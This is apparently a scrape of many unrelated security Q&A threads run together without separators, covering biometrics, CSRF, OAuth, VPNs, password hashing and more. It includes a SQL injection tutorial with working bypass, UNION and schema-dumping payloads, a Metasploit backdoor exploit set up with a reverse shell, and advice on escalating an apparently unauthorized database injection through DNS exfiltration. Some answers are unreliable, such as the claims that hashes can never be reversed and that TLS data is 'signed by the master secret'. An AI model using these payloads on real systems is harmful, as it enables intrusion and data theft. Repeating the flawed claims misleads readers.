This is absolutely possible. Whether or not reCaptcha itself or any other given captcha service does this, I don't know, but biometrics based on mouse movements are absolutely able to uniquely identify people. The same is true for many other ways we interact with our computers (e.g. our keyboards).

There are a large number of research papers on various forms of biometrics. A few examples:

An Efficient User Verification System via Mouse Movements

  Our technique is robust across
  different operating platforms, and no specialized hardware is
  required. The efficacy of our approach is validated through
  a series of experiments. Our experimental results show that
  the proposed system can verify a user in an accurate and
  timely manner, and induced system overhead is minor.

On Using Mouse Movements as a Biometric

  Two authentication schemes are proposed, one for initial login of users and another for passively monitoring a computer for suspicious usage patterns. Error rates for both schemes were calculated and
  compared to prior work.

User Identity Verification via Mouse Dynamics

  The proposed algorithm outperforms current state-of-the-art methods by achieving higher verification accuracy while reducing the response time of the system.

You'll note that these papers are all about using biometrics for user authentication rather than for tracking. Both authentication and tracking are similar, as they both involve trying to determine which identity (if any) a given user is among a set of known identities. Whether or not this scales to the size of Google's user base, and whether or not it is accurate enough to track previously unknown users, I do not know. The point of this answer is to emphasize the capabilities of biometrics as a technology.


Meterpreter reverse_https ExitOnSession When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used those options it just kept opening meterpreter sessions until I closed the handler. And when ExitOnSession is false, why can I only use exploit -j and not exploit?

When I'm setting the options for the reverse_https handler in
  metasploit why would I set ExitOnSession to false and
  SessionCommunicationTimeout to 0, and don't [fully] understand the
  purpose.

If SessionCommunicationTimeout is 0:

  setting this to 0 will result in a session that will never timeout,
  which has some interesting uses

It will keep connecting back using the connection to the HTTPS endpoint.

  And why when ExitOnSession is false I can only use exploit -j and not
  exploit?

Because the handler can continue running as a job, even in the case of a closed, or failed meterpreter session. It only applies to jobs(-j) as these are the only ones that run in the background.

For more info, see here.


Track cmd executions history logs? I bought a new notebook with Windows 10 Home edition installed on it. The notebook also had tons of other software pre-installed: all kinds of drivers, keyboard back-lighting managers and so on.

I've also downloaded the necessary software for development: Java, Adobe programs, FTP clients etc. I didn't install any free-ware software, so I don't think I have some malware that came as a bundle with a freeware app.

Recently I've noticed that time to time the Command line application would open for just a split-second.
This is definitely non-expected behavior as none of my applications are supposed to do that. Using Windows defender didn't show any malware, but I'm afraid it's too limited of a search.

I'd like to know if there's a way to see what cmd executable was launched. Is there a log file somewhere that would tell me what was opened or maybe start tracking the activity. Or, at least, disable cmd's ability to auto-close the window after execution?

My steps so far:

Checking the activity manager for suspicious tasks/opened applications.
Using Windows Defender scanning
Set Windows firewall to highest security setting in hopes to prevent malware to upload info from my PC.

According to this answer, there is no way the history is written down somewhere on the system natively.

But I am sure that you will find a tool that can track when what process was started like one of these:

http://geekflare.com/how-to-check-process-start-time-in-windows/
https://superuser.com/questions/541716/find-out-what-started-a-process-using-services-exe


Is sharing a CSRF token between Rails apps secure? We use an nginx reverse proxy to host two Rails apps under the same domain (one /path leads to another 'secondary' app).

The 'secondary' app that lives under a path consumes REST APIs from the 'main' app on the domain with a javascript single-page application.

We don't currently have OAuth or anything 'proper' set up to protect those endpoints. They use the same cookie to determine who the user is, but CSRF is still an issue (we're not in prod with it yet).

Can I safely request server to server a CSRF token from the 'main' Rails app and provide that to my secondary single page app to send along with each request?

It seems safe and secure to me until we're able to implement OAuth or similar, but I'm not a security expert by any means.

example.com => provides API, app #1
example.com/special_path => routes to app #2, consumes app #1's API, uses same cookie to auth

Yes, there's no problem with using the same CSRF token since it is already sharing the same auth token.

As long as the token is regenerated per new session and both the API and the APP check that the CSRF token is associated with that particular session then this should mitigate CSRF.


How to extract information using a SQL injection on PHP? I'm new to SQL injections so please forgive me if this appear a little amateur.

I was working on a website where I managed to bypass authentication and login as a normal user:

username: ' OR 1 -- -
password: <empty>

The resultant page shows "You are logged in as: ' OR 1 -- -". So I figured if I could dump the database details out in the username field it should display.

However when I try to take a step further by enumerating the database version / information , it does not work (as in I could no longer bypass the authentication).

I tried the following:

username: ' OR 1;SELECT @@VERSION -- -
username: ' OR 1;SELECT user_name -- -

The website is running Apache/2.4.7 (Ubuntu) server and I suspect the database is running MySQL.

There is no problem into being new to SQL injection (this one seems quite a classical example and therefore constitute a perfect start :) ), but I think it is very important to have some reliable background on SQL requests: syntax, tables, results sets, what are they and how they are processed, etc.

The goal in SQL injection is indeed to manage to figure out what is going on server's side by twisting the request in every possible way (no holds barrels when the situation deserves it!) and, eventually, gain the ability to actually control server-side processing.

Find an easily exploitable SQL injection

For the sake of illustration, I will reuse the example given in the main answer of "What is SQL injection?". If you need more background information on SQL injection, it might be a good place to start.

I will therefore imagine that the server is executing the following code:

sql = "select id, username from users'
      + ' where username='" + username + "' and password='" + password +"'";

Upon successful authentication, this request will return a result set similar to this one, with a single row:

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+

Failed authentication produce an empty result set, no row:

+----+----------+
| id | username |
+----+----------+
+----+----------+

Now what you already managed to do and which shows that the server-side code is vulnerable is to bypass the authentication by setting the username to ' OR 1 --.

Still taking the same example as above, the code would produce the following SQL request:

select id, username from users where username='' OR 1 --

(-- effectively comments out the rest of the request's line which is therefore not shown here)

Here it's time to understand what this request does: this request fetches the ID and username of every user (every user with an empty username or true, which practically means every user).

This is not a good news for you (unless the first row in the result set happens to be the website administrator, but this is out-of-scope for this post where we want to focus on information extraction).

Why? Here again, you have to try to imagine what may be going on on server-side.

This is not a good news for you because this means that what you see displayed on the "You are logged in" web page:

Is not extracted from the database query result ($result[0]['username']), as otherwise you would see some random username displayed instead.
Is instead most likely directly directly taken from the form's field value received by the server (getPostData("username");).

On legitimate use cases, this does not change anything since both should return the same value. In our case this is bad because this means that we will be most probably unable to extract and display database information in this place.

There are more advanced SQL injection methods (error-based SQLi, blind SQLi, ...) which allow you to extract information from the database when the website does not intend to explicitly display it. However, they come with their own set of issues and I will consider them out-of-topic in this post. Indeed, given the care given by the website developer to secure the authentication page, most chances are that other pages are also vulnerable, other pages which this time will display information fetched from the database (the user's profile page may be your best friend :) ).

(If some pages are not happy with the fact that your forged username returns several rows instead of a single one, just add a LIMIT statement to you username: ' OR 1 LIMIT 1, 1 --, and of course you are free to modify its parameters to switch from one user to another... If you happen to know some valid username, you may try to use it as well : admin' --.)

While in this post I will continue to take the authentication page as an example, this will work the very same way on SQL injections affecting any other pages.

Determine the result set layout

At the beginning of this post we assumed that the result set was a two-column table with the username stored in the second column:

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+

However, until know this was just some supposition and we didn't care. Unfortunately we will now have to know this:

Knowing the exact number of columns is required for technical reasons, otherwise the UNION statement we will use later will not be happy.
Knowing from which column the server fetches the displayed data will allow us to put the injected value at the right location in the result set (we won't need to know the actual column name, only its position).

(If the server happens to use PostgreSQL instead of MySQL, you may even have to determine the correct column types to satisfy UNION, more a nuisance than a real issue but it is something to keep in mind.)

Determine the number of columns

The easiest way is to ask the server to order the result as below:

username: ' OR 1 ORDER BY 1 -- -

Increment the clause ORDER BY 1 until you get an error, the last working value corresponds to the number of columns in the result set.

If I would run this against the example result set, I would obtain:

username: ' OR 1 ORDER BY 1 -- -: OK
username: ' OR 1 ORDER BY 2 -- -: OK
username: ' OR 1 ORDER BY 3 -- -: error, so the example result set contains two columns.

Determine which column(s) is/are usable

Now that you know the correct number of columns, you can go a step forward and inject a command like this one:

username: ' OR 1 UNION SELECT 1,2 -- -

If you had three columns, you would do SELECT 1,2,3, for five columns SELECT 1,2,3,4,5, etc.

The goal here will be to inject the actual numbers into the result set, and check in the web page (either the rendered one or its source-code) which one is displayed by the server.

The advantage of using numbers is that they are easily casted as string by MySQL if the columns type requires it. While "1,2,3" is given as example here, feel free to use the numbers you like ("1234,2345,3456" would work as well and produce results easier to spot).

In the example, would the resulting web page say "You are logged in as: 2", you would know that the username is fetched from the second column in the result set.

Attention: Understand how the UNION operator works: would the server only use the first row you may need to ensure that the left-side request does not produce any row!

In fact, the UNION operators concatenate two result sets:

+----+----------+         +----+----------+
| 42 | jdoe     |  UNION  | 1  | 2        |
+----+----------+         +----+----------+

Will result in:

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+
| 1  | 2        |
+----+----------+

Which may not be the expected result.

To get:

+----+----------+
| id | username |
+----+----------+
| 1  | 2        |
+----+----------+

You may want to ensure that the left-side query does not return any entry:

username: ' AND 0 UNION SELECT 1,2 -- -

See how OR 1 has been inverted to AND 0 to ensure that the left-side query will be evaluated as false no matter the database rows content.

Exploit the SQL injection

And now the fun begins :) !

With all this information in hand, you are now free to extract the information you want from the database.

For instance:

To get MySQL version:

username: ' AND 0 UNION SELECT 1,@@VERSION --

To retrieve table and column names:

username: ' AND 0 UNION SELECT 1,GROUP_CONCAT(table_name,0x2e,column_name) FROM information_schema.columns WHERE table_schema=database() --

There are a lot of websites out there referencing SQL requests suitable for injection. Pay attention to the version of the MySQL server you have in front of you as some syntax may be version dependent.

Conclusion

SQL injection easiness can vary a lot depending on the details of the server's SQL request and the processing applied to the result. It's all up to your luck factor here.

Nevertheless, manually building a successful SQL injection string always boils down to this loop:

Inject a request in the server.
Observe the result.
Try to interpret this result from the server's perspective: what kind of processing could have lead to such result? (this is were your knowledge about SQL really matters)
Create a new injection string designed either to solve your issue or check some hypothesis on server's behavior.
Go back to step 1.

At last, doing this manually may not scale very well. Depending on your needs, you may find some tools like sqlmap helpful to automate all this .


Does vulnerability exist when using XHR with GET method and custom anti-CSRF HTTP header? Imagine button after clicking which browser sends XHR http request with GET method. Characteristics:

after executing request sensitive action is performed
sensitive information is sent in GET parameters
HTTP headers X-Requested-With: XMLHttpRequest and X-CSRF-Token with large enough PRG token are sent and are necessary to have the action executed
option to Copy link location isn't accessible when rightclick the button as it's a form

Normally XHR is used with GET but here it's used with GET. It's the only difference from normal XHR requests.

Does this design lead to any security vulnerability?

Edit: Some answerers and commenters tell that:

User may copy or bookmark url. However, the only place from where user may copy url is the source code of page because this url isn't exposed in browser address bar, rightclick menu because of button is a form). Also parameters are added into request by browser itself so user can't copy full url from source code.
User may copy part of browser window. However, url isn't exposed in browser window
It may become part of Referer header. However, it's XHR and doesn't change url in Referer header of next requests

So the only valid vulnerability seems to be that GET parameters may be logged in webserver logs (they won't be logged at proxy because of using TLS). If those logs are accessible to attacker, then he will have sensitive information.

I wouldn't rely on this design. The HTTP specification states:

  Implementors should be aware that the software represents the user in
  their interactions over the Internet, and should be careful to allow
  the user to be aware of any actions they might take which may have an
  unexpected significance to themselves or others.

  In particular, the convention has been established that the GET and
  HEAD methods SHOULD NOT have the significance of taking an action
  other than retrieval. These methods ought to be considered "safe".
  This allows user agents to represent other methods, such as POST, PUT
  and DELETE, in a special way, so that the user is made aware of the
  fact that a possibly unsafe action is being requested.

  Naturally, it is not possible to ensure that the server does not
  generate side-effects as a result of performing a GET request; in
  fact, some dynamic resources consider that a feature. The important
  distinction here is that the user did not request the side-effects, so
  therefore cannot be held accountable for them.

More generally speaking I would never recommend using CSRF tokens in GET requests since they may become available in various log files (vulnerability if the anticsrf token is not properly disposed of after one use.), they may become part of the referrer header, users may bookmark them and this will lead to either a security leak or to invalid bookmarks. This may have negative impact on the SEO too. Etc, etc.

So I think that GET+CSRF+ANY_OTHER_SENSITIVE_DATA=bad idea.


Identifying devices in mobile app using UUID I have a mobile application, for Android and iOS (both native), that communicates with the backend through a REST API (over HTTPS).

The application allows users to sign in or use the app as a guest, but in both cases I need to track user's activity based on which we send them push notification. The activity is also used for statistics on daily installs and daily usage.

In order to do so, the first thing the application does on startup is to check if it has a device UUID set, and if does not it sends a "register-device" request to the API which generates a new UUID and stores it into the database. The generated UUID is returned to the app and stored persistently.  The app then sends the UUID within each request.
This allows us to know how many devices/users use the app, daily activity and if available, the device's push notification token.

This works relatively well but I have some concerns regarding security.
Let assume that some one is able to deobfuscate the app and gain the API key. With the API key he can access the API in the same way as the app can and can start sending thousands of "register-device" requests, which would
 fill the database and gradually decreasing API performance.

Is there any way to overcome this issue? I could generate the UUID on the client side, but that would lead to the same issue - the attacker would just need to generate a valid UUID and send it to the API.

Here is a list of tips/techniques that you can use:

If users are authenticated and you assign a unique uuid, just allow one TCP/HTTP/HTTPS connection for a given uuid. By doing this, you will limit the number of connections to your service that can use the uuid.
If somebody wants to reuse a uuid or do a "uuid attack" by flooding from requests you can use a basic rate limiting in combination with a IP dropping/blocking rule on a firewall.
On the generation of your uuid use a good crypto library that generates real random numbers, you can also use the last 8 bytes(for example) to do a hash of ip + user credential in the case that your random generator is not good. For example: <8 bytes random>-<8 bytes random>-<8 bytes random>-<first 8 bytes of sha256(ip + user cred)>

Hope it helps


ROP - pop eax, ret gadget doesn't work I am building a ROP chain for a security challenge. I have a problem in my ROP chain. I found some interesting gadgets with ropshell.com, and they seem to work pretty well except one. Indeed I follow the stack pointer on gdb peda and only one instruction has a problem which is pop eax, ret at the address 0x080a9d36. This instruction contains no null bytes but the stack pointer apparently doesn't recognize it and send me a segfault Stopped reason: SIGSEGV - 0x08009d36 in ?? ().

I just don't understand why the 0a becomes suddenly a 00. Would someone have an idea ? Thanks.

Actually, I found the problem. This is about the fact that the address of this gadget contains 0a which corresponds to a \n


Is the limited elliptic curve support in rhel/centos/redhat openssl robust enough? Redhat finally gave in after insisting for years that elliptic curves had patents and disabling them, recently enabling a whopping three algorithms:

CentOS 6.5
openssl ecparam -list_curves
  secp384r1 : NIST/SECG curve over a 384 bit prime field
  prime256v1: X9.62/SECG curve over a 256 bit prime field

CentOS 7.0
openssl ecparam -list_curves
  secp384r1 : NIST/SECG curve over a 384 bit prime field
  secp521r1 : NIST/SECG curve over a 521 bit prime field
  prime256v1: X9.62/SECG curve over a 256 bit prime field

But a direct source build of openssl 1.0.1i has dozens of curves in comparison.

Is what redhat did robust enough? Did they cripple it?

I'll start. TL;DR: It's probably OK.

P-256 and P-384 seem to be the most widely implemented and/or preferred "curves", probably because they are the two selected for http://en.wikipedia.org/wiki/NSA_Suite_B and the right size for strengths currently considered comfortably safe.
To be pedantic they are really parameter sets consisting of a curve over a field plus a generator of a large subgroup, but everyone just says curve for convenience; the algorithms such as ECDSA and ECDH are the same for all curves and keys, just as the algorithm RSA is the same for all keys.

P-521 is the largest curve currently standardized for SSL/TLS, which satisfies size maniacs.

ECC smaller than 160 bits is probably breakable fairly soon, and important standards prohibit less than 224 or 256 to be comfortable; see http://www.keylength.com . Binary fields have proven less popular. Thus the curves RedHat chose are likely enough for decent interoperability.

Some, notably Dan Bernstein, argue that ALL the standardized NIST/SECG curves are hard to implement without sidechannels and could even be backdoored, see http://safecurves.cr.yp.to and https://crypto.stackexchange.com/questions/12898/is-there-a-feasible-method-by-which-nist-ecc-curves-over-prime-fields-could-be-rigged , but the proposed alternatives aren't yet standardized and will apparently require changes in implementation (of an equation form that retains the sidechannel resistance) to be developed and deployed widely enough before they become useful, so don't look for that tomorrow.

But if you want, I think there should be nothing wrong with using your own completist build, as long as the upstream OpenSSL version new enough to contain needed security fixes isn't so new it's incompatible with what your other RedHat/CentOS packages expect.


Is VPN for notebook in public Wifi/WLAN still recommended? In many computer magazines I found the recommendation to use a public Wifi only with VPN (of course, you should trust the VPN provider).

Assuming all websites with sensitive data (complete website, not only login) and email providers offer up-to-date TLS: Is a VPN for a notebook in public Wifi/WLAN still recommended?

From what I have read here on StackExchange it rather seems as if a VPN only adds little security given the previous assumption.

Is the situation different with a Wifi not using a shared key, but individual keys as in WPA2 enterprise?

Short answer: it depends.

Long Answer: HTTPS is secure over public hotspots. Only a public key and encrypted messages are transmitted (and these too are signed by root certificates) during the setup of TLS, the security layer used by HTTPS. The client uses the public key to encrypt a master secret, which the server then decrypts with its private key. All data is encrypted with a function that uses the master secret and pseudo-random numbers generated by each side.

Thus,

the data is secure because it is signed by the master secret and pseudo-random numbers
the master secret and pseudo-random numbers are secure because it uses public-private key encryption when the TLS handshake occurs
the public-private key encryption is secure because:

the private keys are kept secret
public-private key encryption is designed to be useless without the private key
the public keys are known to be legitimate because they are signed by root certificates, which either
came with your computer
or were specifically authorized by you (pay attention to browser warnings!)

Thus, your HTTPS connections and data are safe as long as:

you trust the certificates that come with your computer,
you take care to only authorize certificates that you trust,
you make sure the website has valid and active SSL.

Conclusion: You don't require VPN as long as website is using HTTPS over public network.


Do voting machines rely on "security through obscurity"? There was an interesting paper in 2013 from the University of Pennsylvania called Familiarity Breeds Contempt: The Honeymoon Effect and the Role of Legacy Code in Zero-Day Vulnerabilities. One compelling example the authors discuss is the lack of known security breaches in voting machines, contrasted with the high number of blatant vulnerabilities researchers find on these machines. The authors argue that it may be a "honeymoon effect" that prevents hackers from exploiting these vulnerabilities, since these machines are only in use for one to two days after their release. Without providing the proper amount of time to find and exploit vulnerabilities, these machines are for the most part used for their original intention.[1][2]

My question is simple: is this an example of "security through obscurity"? Could one say that the voting machines' internals are obscured from hackers by the shortness of the time span that they are exposed to the world, and by the fact that they are all closed source, proprietary systems?

If this scenario is not security through obscurity, is there a term that describes this type of "security"?

[1] http://www.acsac.org/2010/openconf/modules/request.php?module=oc_program&action=view.php&a=&id=69&type=2 (PDF)

[2] https://www.youtube.com/watch?v=rhcpCdRvNOg (DEF CON 19)

For the industry in general, particularly in the US, the security of voting machines is not unlike the security of TSA checks. Which is to say, it might work sometimes, but more than anything it's there to make you feel better about the process. Blatant violations of the security structure appear to be rare, but not because of the quality of the security.

While it's nice to feel like voting fraud doesn't happen, it's unlikely that any election of any magnitude anywhere has been perfectly clean. But presumably the fraud in both directions more-or-less averages out over time. Hopefully.

Specifically, beyond the security of the devices themselves, it's also the process put in place around them that contributes to the insecurity of the system. The "sleepover" practice made famous in the 2004 and 2006 US elections continues today in many areas. And when a voting machine shows signs of tampering (as often is the case), it does not necessarily invalidate the count.

But these are always local incidents, each closely associated with a given voting precinct, a given set of election officials, and a given set of local influences. It's the type of incident that requires no technology or vulnerability or security angle. An attack directed at a given voting machine (irrespective of the local officials) would be widespread, diffuse, covert, and systematic.

Part of what protects us here is the complete lack of any sort of coordination. There's no standardization of voting procedures or voting machines. There's no single target, which dramatically complicates the process.

Yes, there's some amount of security through obscurity, but more than anything it's security through confusion. Targetting would likely have to be opportunistic. And typically this is an attack that would be extremely difficult to pull off without physical access. Compound that with the fact that physical access makes fraud easy without any software vulnerability, and it starts to sound like we've been going about this all wrong from the beginning.


proftpd backdoor not backdoored I wanted to practice exploiting system using proftpd backdoor. I use the exploit proftpd_133c_backdoor and the payload reverse_perl.I learned on how to exploit using this link, https://www.youtube.com/watch?v=1Rp5_QysRpE&t=2s.

My attacker virtual machine is 192.168.19.2. My victim virtual machine is 192.168.19.5(proftpd 1.3.4a.) The port opened on the victim is 21 and the version name is proFTPD 1.3.4a

Here is the configuration of the exploit and the payload below.

msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
RHOST  192.168.19.5   yes       The target address
RPORT  21               yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 LHOST  192.168.19.2   yes       The listen address
 LPORT  4444             yes       The listen port

 Exploit target:

 Id  Name
 --  ----
 0   Automatic

then I exploited it however it states not backdoor. the result is shown below.

msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.19.2:4444
[*] 192.168.19.5:21 - Sending Backdoor Command
[-] 192.168.19.5:21 - Not backdoored
[*] Exploit completed, but no session was created.

What are the solutions to achieve this exploit? and how to do it?Please help me. thank you.

I use the exploit proftpd_133c_backdoor ...

From the documentation you can see that:

  This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010

But you are obviously using a version of proftpd which is not affected by this backdoor:

  My victim virtual machine ... proftpd 1.3.4a

No wonder that it does not work. In fact, it is the expected behavior that it does not work.


How do you assess if your computer has a hardware rootkit? How do you assess if your computer has a hardware rootkit? There was another question about Chipsec with no answers, I assume no one knows the answer. Any other way to assess?

There's no practical way to provide complete assurance that a machine isn't compromised.  There are a few things you could look for, but none are definitive.

Based on details in the NSA ANT catalog, you could compare the board in question to a reference photograph of a known-clean motherboard and look for evidence of the implants they offered a few years ago.  The NSA designed small boards that are designed to fit behind an Ethernet jack tower; they have implants hidden inside USB and monitor cables, etc. But finding one would be a total shot in the dark.

And even if you look, it's just as likely that a machine has had its firmware or silicon compromised somewhere, and those implants would be entirely invisible.

You could monitor your network for unexpected traffic, but know that some of these implants use RF energy to exfiltrate their data.  And not all of them use WiFi, 3G, or Bluetooth protocols, either.  Some are even based on malicious USB drives that rely on an agent (witting or unwitting) to physically carry them off of the premises.

Instead of focusing on a particular threat, you'll do more for your overall security by watching your network carefully.  Run NIDS and DLP tools.  Monitor for suspicious traffic volumes, times, ports, etc.  Consider an SSL intercepting proxy.  Also keep abreast of security alerts.  Not only will these types of activities help defend against malicious implants, but they could detect the activity of ransomware, worms, viruses, malware, or hackers, too.


Blind SQL Injection on Amazon RDS I found a vulnerability which allows me to run any query on an Amazon RDS server. I was able to extract the user hashes by using the --passwords parameter of sqlmap, and one of the hashes was cracked before. The thing is, I'm not sure that first the Amazon RDS Instance is accessible from the internet (specifically any IP), and I'm not sure how I could get the ip of the RDS instance (--hostname returns internal 172.x.x.x address). I'm wondering if there is anything I can do to further escalate the vulnerability.

Two options come immediately to mind -

Exfiltration

You can learn more by Googling 'sql injection exfiltration', but generally, this involves using SQL primitives that make DNS lookups or HTTP connections.  You can build a query that selects data from a table and injects it into a host lookup to a domain that you control; then your DNS server will see the data.

This option takes advantage of the fact that while you may not have a good route to the database, it probably has some sort of route outbound.  DNS, especially, is indirect and can be used even if the DB server itself has zero Internet access.

Front End Leverage

If the database (and credentials accessible within) are backend for a front end web UI that is accessible over the network, then you can use the information to get into the app, which may be just as useful as getting into the database.


why is 'monkey' a common password? I was looking at Wikipedias;List of the most common passwords and saw 'monkey' listed 6 out of the last 7 years.

Most of the re-occurring passwords are fairly obvious choices.  But why is 'monkey' on the list (from 'SplashData') so many times?

Q: What kind of a key opens a banana? A: A monkey!


OAuth alternative for two-party scenario? I'm trying to come up with an authentication/authorization system for what seems like a really simple scenario, but as far as I can tell it's virtually unsupported.
There are two parties, total; myself and someone else ("other"). I'm running a bunch of services with HTTP APIs that are reachable over the public Internet, and "other" wants to use them from their own systems. There are no browsers, no interactive sessions, no people at screens and keyboards to interact with anything, just two computers talking to each other. These are requirements and cannot be changed. Here's an illustration:

I don't want each of my services to have to implement whatever mechanism is used to establish and validate "other"s identity; I want each service to use a standard mechanism (like a short-lived bearer JWT) and have something else (an authentication service? I hope that name is accurate) do the work of validating "other"s identity and translating it to that standard. This seems like widespread standard practice and I assume is not controversial or a problem.
Ideally, I would like to use an off-the-shelf hosted product for the authentication service, so I don't need to build it myself or worry about how to administer accounts, but as far as I can tell this is literally unsupported by the providers I've looked at (Okta, AWS Cognito, and Auth0) and may be entirely incompatible with OAuth 2.0 itself. There are no browsers and no interactive users, so grant types based on redirecting back and forth and user approval are right out, so I think that leaves password and client_credentials as the options. client_credentials can't actually authenticate other parties in any of these services; you have to add a trusted application that is treated as internal, which is not acceptable. password allows you to supply a user name and password, but in all of these services you still have to include the client credentials. Since these providers all work the same way, and it sounds like that is consistent with the OAuth 2.0 spec, I'm not sure if there's a solution for this that doesn't involve building my own authentication.
Is there a proper name for what I'm trying to do that would help me find solutions? Has anyone heard of any hosted products that solve this problem? As a fallback, is there some tricky way of using OAuth2 to do this?

OAuth 2 can solve your problem with its Client Credentials Grant (aka service-to-service or machine-to-machine flow).
As noted in the OAuth 2 specification the clients must be confidential, i.e. registered with some secret - exactly how this is done depends on the Authentication Service.
Perhaps Microsoft's workflow makes it clearer - the first half is the registration step (just need to be done once for each client).

For details see https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-client-creds-grant-flow. Here's a table is to help sync up terminology differences...

Your Terminology
Microsoft Diagram
OAuth 2 Terminology

External Application
Web Server
Client

My Code
Web API
Client

Here are some alternative Authentication Services below but they assume you already did the registration:

Keycloak. Also see this example. Keycloak is an open source Authentication Service developed by RedHat that you can host yourself.
Google.


Is it good to store passwords in a separate table/database and manage them in a separate process? I'm quite a newbie at systems architecture and security so I just want to check that this plan makes sense. I'm building a web app and I need to store a password for each user. I've already read plenty about hashing algorithms, salt, and so on. I'm going to use Argon2 since it seems to be the current recommendation. My question concerns how the hashes are stored and checked in terms of overall architecture.

Since hashing with Argon2 is intentionally quite expensive, I want to create a service in a separate module/process so that it can easily be moved to a one or more separate machines if needed. Even if it lived on the same machine as the main app server, it would be trivial to monitor its CPU and memory usage to tune the cost factors for the hashing algorithm.

My app will send HTTPS POST requests to the service to either create, update, delete, or verify a password. All the details will be in the request body, including the password in plain text. The connection will be encrypted. The response will simply be an indication of success or failure.

The service will handle the logic of database operations, hashing passwords, and comparing hashes for equality. The passwords will live in a separate database from the users, so that even if an attacker dumps the entire password database they still don't actually know anyone's password, and vice versa. Also, if I ever migrate to a different storage solution for my other data, there is less migration to do since the passwords can remain as they are.

Does that sound good? Or does it somehow open up more weaknesses that I'm not aware of?

Hashing being too slow means you need to use a faster hash, not a second process. Try tweaking the parameters on Argon2 or move to bcrypt (which is still really secure). Adjust the parameters to get the hash to a reasonable time (~0.2-0.4 seconds) and keep everything in one process.

If you want, you can still keep the passwords in a second database to reduce data loss if your primary database's contents get stolen, but I am not sure this is needed. Conventional wisdom says that bcrypt is secure even with all data being stolen. Now that is no guarantee, but unless you have the NSA coming after you, or you're storing something valuable enough to motivate large portions of the Bitcoin network to stop miming and start cracking your passwords, I'd be very comfortable with a reasonably performing bcrypt.


Confidentiality and integrity for web session When the client authenticates with our service, he is issued an opaque "token". This token includes the information, that identifies the client and some other information about the client ("payload"). The payload is used by the service, when the client passes the token back to the service on subsequent requests. The payload should not be disclosed to the client, so not only integrity must be maintained, but confidentiality too.

Here's what I was going to use for generating this token:
 - HMAC-SHA256 for integrity
 - AES in CBC mode for confidentiality

So, given payload P, keys K1 and K2 to generate the "token" I

pad P to a multiple of 16
generate IV of length 16
encrypt P using AES with K1 and IV
concatenate IV and encrypted P
get a digest of the result (IV + encrypted P) using HMAC-SHA256 with K2 as a key
concatenate digest with the result

Since IV and digest are of known length, no separators are needed. The padding will probably be done with spaces, since the format used for payload does not give significance to trailing spaces.

I must say, that I am not very much into security, so I might be missing some very obvious things. Anyway, the questions:

Doing this seems very much like "rolling my own crypto". Am I reinventing the wheel here?
Is there any added security in using separate K1 and K2, given that they will be stored "side-by-side"? If not, it will certainly be more convenient for me to use the same key
... well, did I miss anything?

Well, you are reinventing the wheel, but at least you are using a circular shape for that, which is better than what most wheel-inventors out there do. And, frankly, there is a bit of a shortage of immediately usable high-quality wheels.

You use CBC with an IV (which must be generated with a strong PRNG), and that's good. You apply HMAC on the encrypted data, and that's good. You do not forget to include the IV in the input to HMAC, which would have been the classic mistake of encrypt-then-MAC. And you are using distinct keys for the encryption and the MAC, which is nice. So, really, not bad at all.

You may want to consider the following points:

In your format, there is no indication of what algorithms are used, so there is no algorithm agility: if tomorrow you want to switch to another encryption algorithm, you cannot do it without breaking compatibility with existing payloads (unless you play with the total length). For clean algorithm agility, you may want to add a header: a single byte with a conventional value, e.g. always 0x01 (subsequent versions of the payload format would use other values). Important note: if you do that, then do not forget to add the header byte in the HMAC input as well.
If having two keys K1 and K2 is inconvenient for you, you may want to store a single key K, and derive keys K1 and K2 from K. As long as the derivation process is one-way and uniform, this will be fine. We want the encryption key and the MAC key to be distinct so as to avoid nasty interactions between the two algorithms; no such interactions are known in the case of AES-CBC and HMAC/SHA-256, but "better safe than sorry". In your case, just hash K with SHA-256, use the first half (128 bits) for K1, the second half (128 bits) for K2.
There are newer authenticated encryption modes which combine encryption and integrity check, and do all the hard work for you. In particular, GCM and EAX are consider secure, and are patent-free. They offer some bonuses: no need for a random IV (a non-repeating IV such as a counter is sufficient), no need for padding (they rely on CTR mode internally), only one key (any "expansion" is handled internally).
If a user can obtain several payloads, then he can switch them and replay old payloads. Depending on your context, this may or may not be a problem for you.
If keys are not user-specific, then colluding users could swap payloads. Depending on your context, this may or may not be a problem for you.


What key does Linux use when storing user passwords? Linux typically stores user names and password hashes in /etc/passwd or /etc/shadow.

Now lets say I have an old CentOS distro and I want to attempt to recover a user's password (it's in a legal, learning context at school) encrypted with DES, I figured I would need a plaintext and a cipher encrypted using the same key as my unknown password, crack said key, then decrypt the cipher stored for said user (right?).

Now, my question is, how/when does Linux generate keys when creating users?  Could I assume the key used to be the same if I juste created a new user?  If so, is the key used by the system just plain recoverable?

The passwords aren't encrypted, they're hashed. It is mathematically impossible to derive the original password from the hash. Verification is done by hashing the password that the user enters and comparing it to the one in the vault. If they match, the user is authenticated and they can log in.


Why do viruses that wipe boot sectors exist? In a moment of desperation and without thinking, I executed an .exe file purporting to be a pirated version of a hard-to-find program, forgetting that I had no real-time antivirus active. A few seconds later Malwarebytes (the free version, so not real-time) had been removed from the system. I then hurriedly tried to do a System Restore but sure enough, found that my boot sector had been wiped.
Thankfully, I was able to restore back from backups to a working system within a few hours, but this sobering experience has left me wondering: what exactly is the purpose of such a destructive virus?
I can understand ransomware, cryptominers, or malware that turns my computer into part of a botnet, but what motivation would a malware developer have to wipe out a system's boot sector? What's the endgame to doing so? As a bonus question, is there known active malware that goes further and wipes out a user's actual data?

